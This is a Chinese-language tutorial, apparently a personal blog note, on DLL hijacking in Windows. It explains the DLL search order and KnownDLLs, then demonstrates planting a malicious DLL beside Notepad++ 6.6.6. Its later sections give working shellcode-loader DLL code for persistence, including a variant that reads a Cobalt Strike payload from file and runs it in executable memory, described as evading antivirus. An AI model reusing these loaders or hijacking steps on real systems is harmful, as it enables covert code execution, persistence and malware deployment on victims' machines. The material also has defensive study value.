千尋筆記:DLL劫持初探
0x001 什么是DLL
Dll(動態鏈接庫)作為 windows 的函數庫,有助于促進代碼的模塊化、代碼重用、有效的內存使用并減少磁盤空間;一個應用程序運行時可能需要依賴于多個 dll 的函數才能完成功能,如果控制其中任一dll,那么便可以控制該應用程序的執行流程。
Linux下靜態庫名字一般是: libxxx.a windows則是: *.lib、*.h
Linux下動態庫名字一般是: libxxx.so windows則是: .dll、.OCX(..etc)
0x02 嘗試編寫dll
1.VS2017,新建DLL項目

2. 初始dll文件

// dllmain.cpp : 定義 DLL 應用程序的入口點。#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule, // 模塊句柄 DWORD ul_reason_for_call, // 調用原因 LPVOID lpReserved // 參數保留 ){ switch (ul_reason_for_call) // 根據調用原因選擇不不同的加載方式 { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
在dllmain.cpp文件下引入Windows.h庫, 編寫一個msg的函數。
// dllmain.cpp : 定義 DLL 應用程序的入口點。#include "pch.h"#include
void msg() { MessageBox(0, L"Dll Load successful!", 0, 0);}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
然后需要在頭文件framework.h中導出msg函數
#pragma once #define WIN32_LEAN_AND_MEAN // 從 Windows 頭文件中排除極少使用的內容// Windows 頭文件#include extern "C" __declspec(dllexport) void msg(void)
_declspec是關鍵字,用于表示該函數、變量時導出、導入的,括號里dllexport意為其將要導出,dllimport意為其將要導入。
extern "C"用于指定編譯器編譯后的函數別名,這樣使用時才能正確查找到。即對于變量extern int a;這樣的直接寫為extern "C" int a;即可,函數同理。
然后進行編譯,得到dlldemo.dll
0x03 調用dll
新建項目,編譯生成test.exe
// test.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。#include #include using namespace std;
int main(){ // 定義一個函數類DLLFUNC typedef void(*DLLFUNC)(void); DLLFUNC GetDllfunc = NULL; // 指定動態加載dll庫 HINSTANCE hinst = LoadLibrary(L"dlldemo.dll"); if (hinst != NULL) { // 獲取函數位置 GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg"); } if (GetDllfunc != NULL) { //運行msg函數 (*GetDllfunc)(); }}
成功調用dlldemo.dll

0x04 Dll劫持漏洞
原理
如果在進程嘗試加載一個DLL時沒有并沒有指定DLL的絕對路徑,那么Windows會嘗試去按照順序搜索這些特定目錄來查找這個DLL,如果攻擊者能夠將惡意的DLL放在優先于正常DLL所在的目錄,那么就能夠欺騙系統去加載惡意的DLL,形成"dll劫持"。
DLL路徑搜索目錄順序
1.應用程序加載的目錄
2.系統目錄,使用 GetSystemDirectory 獲取該路徑
3.16 位系統目錄
4.Windows 目錄,使用 GetWindowsDirectory 獲取該路徑
5.當前目錄
6.PATH 環境變量中列出的目錄
Know DLLs注冊表項
從Windows7 之后, 微軟為了更進一步的防御系統的DLL被劫持,將一些容易被劫持的系統DLL寫進了一個注冊表項中,那么凡是此項下的DLL文件就會被禁止從EXE自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用。
默認情況HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 處于開啟狀態;如果手動設置為 0,關閉該安全選項,搜索順序為:在以上順序基礎上,將 5.當前目錄 修改至 2.系統目錄 的位置,其他順移。
注冊表路徑如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

另外當應用程序加載 dll 時如果僅指定 dll 名稱時,那么將按照以上順序搜索 dll 文件,不過在加載之前還需要滿足以下兩條規范:
- 當內存中已加載相同模塊名稱的 dll 時,系統將直接加載該 dll,不會進行搜索;除非設置了 dll 重定向選項;
- 如果要加載的 dll 模塊屬于 Known DLLs,系統直接加載系統目錄下的該 dll,不會進行搜索。
Windows操作系統通過“DLL路徑搜索目錄順序”和“Know DLLs注冊表項”來確定應用程序所要調用的DLL的路徑,當一個進程嘗試加載一個dll的時候,會先嘗試搜索程序所處的目錄,如果沒有找到,則搜索系統即 SYSTEM32 目錄,若還沒有找到,則向下搜索16位系統目錄即 SYSTEM 目錄,然后Windows目錄,當前目錄,Path環境變量的各個目錄。

這樣的加載順序很容易就會導致一個系統的dll被劫持,只要攻擊者將目標文件和惡意dll放在一起即可,導致惡意dll搜索順序優先于系統dll目錄加載,就能夠欺騙系統去加載惡意的DLL,形成"dll劫持"。
手動劫持
NotePad++(6.6.6)
用到的工具:Process Monitor v3.60
通過 Process Monitor 監控dll調用是一種最基礎的尋找dll劫持的方式
設置過濾規則: (默認的不需要改變)
Path ends with .dllResult is NAME NOT FOUNDProcess Name contains notepad++.exe

然后這里找一個需要用到loadlibrary這個api的dll,這里找有這個api的原因是因為如果該dll的調用棧中存在有 **LoadLibrary(Ex)**,說明這個DLL是被進程所動態加載的。在這種利用場景下,偽造的DLL文件不需要存在任何導出函數即可被成功加載,即使加載后進程內部出錯,也是在DLL被成功加載之后的事情。
LoadLibrary和LoadLibraryEx一個是本地加載,一個是遠程加載,如果DLL不在調用的同一目錄下,就可以使用LoadLibrary(L"DLL絕對路徑")加載。但是如果DLL內部又調用一個DLL,就需要使用LoadLibraryEx進行遠程加載,語法如下:
LoadLibraryEx(“DLL絕對路徑”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
LoadLibraryEx的最后一個參數設置為LOAD_WITH_ALTERED_SEARCH_PATH即可讓系統dll搜索順序從我們設置的目錄開始

找到可以被劫持的dll文件后,我們需要編寫惡意dll
// dllmain.cpp : 定義 DLL 應用程序的入口點。#include "pch.h"#include
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("calc"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
然后編譯生成惡意dll,并放到Notepad++的根目錄下

運行Notepad++.exe便會彈出計算器

EasyConnectInstaller(7.6.1.1)

轉發劫持
使用惡意 dll 替換原文件,應用程序便可以加載我們的 dll 并執行惡意代碼,但是應用程序運行依賴于 dll 提供的函數,惡意 dll 必須提供相同的功能才能保證應用程序的正常運行。這里利用了aheadlib工具,進行直接轉發函數。

權限維持
1.這里利用到的測試環境是之前自己寫的testDll.exe,進行直接轉發函數,嘗試加載shellcode(不免殺)

#include "pch.h"#include #include #include
//導出函數#pragma comment(linker, "/EXPORT:msg=fkdllorg.msg")
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){ if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); unsigned char buf[] ="shellcode" size_t size = sizeof(buf); char* inject = (char *)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(inject, buf, size); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0); } else if (dwReason == DLL_PROCESS_DETACH) { } return TRUE;}


2.shellcode寫內存(免殺)
CS生成RAW Payload,然后讀取shellcode,申請內存,寫內存,執行函數
#include "pch.h"#include #include #include
//導出函數#pragma comment(linker, "/EXPORT:msg=fkdllorg.msg")
DWORD WINAPI DoMagic(LPVOID lpParameter){ FILE* fp; size_t size; unsigned char* buffer;
fp = fopen("payload.bin", "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); buffer = (unsigned char*)malloc(size);
fread(buffer, size, 1, fp);
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buffer, size);
((void(*) ())exec)();
return 0;}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: HANDLE threadHandle; threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

